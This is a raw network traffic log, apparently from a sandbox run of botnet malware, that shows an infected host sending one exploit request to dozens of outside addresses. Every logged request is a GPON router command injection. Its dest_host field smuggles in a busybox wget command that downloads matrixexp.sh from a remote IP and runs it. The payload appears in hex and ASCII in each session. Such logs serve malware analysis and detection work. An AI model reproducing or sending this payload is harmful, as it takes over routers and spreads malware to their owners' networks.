Mar 21, 2024 05:26:12.178783894 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
766	192.168.2.23	49332	42.65.242.86	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178785086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
767	192.168.2.23	49438	42.130.244.132	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178801060 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
768	192.168.2.23	53364	5.86.177.122	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178814888 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
769	192.168.2.23	39366	79.105.197.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178816080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
770	192.168.2.23	36670	79.52.16.133	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178816080 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
771	192.168.2.23	41324	178.238.186.104	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178828001 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
772	192.168.2.23	36276	37.32.61.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178848982 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
773	192.168.2.23	58594	109.248.195.239	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178863049 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
774	192.168.2.23	52082	178.250.81.237	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178896904 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
775	192.168.2.23	45068	5.195.245.96	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178926945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
776	192.168.2.23	37956	109.21.134.194	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178926945 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
777	192.168.2.23	36736	79.190.193.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178951979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
778	192.168.2.23	58252	118.76.102.222	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178951979 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
779	192.168.2.23	55816	118.206.115.84	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178961039 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
780	192.168.2.23	57642	118.229.0.204	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178992033 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
781	192.168.2.23	48632	212.149.92.78	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.178996086 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
782	192.168.2.23	53432	212.232.82.250	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.179013014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
783	192.168.2.23	39902	118.221.240.13	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.179013014 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
784	192.168.2.23	43786	5.151.172.14	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.179060936 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
785	192.168.2.23	34018	5.42.48.157	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.179065943 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
786	192.168.2.23	36884	212.162.41.53	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.179075956 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
787	192.168.2.23	60322	212.149.203.82	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.179095984 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
788	192.168.2.23	41964	210.74.169.185	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:12.179120064 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
789	192.168.2.23	51444	118.19.215.139	443

Timestamp	Bytes transferred	Direction	Data
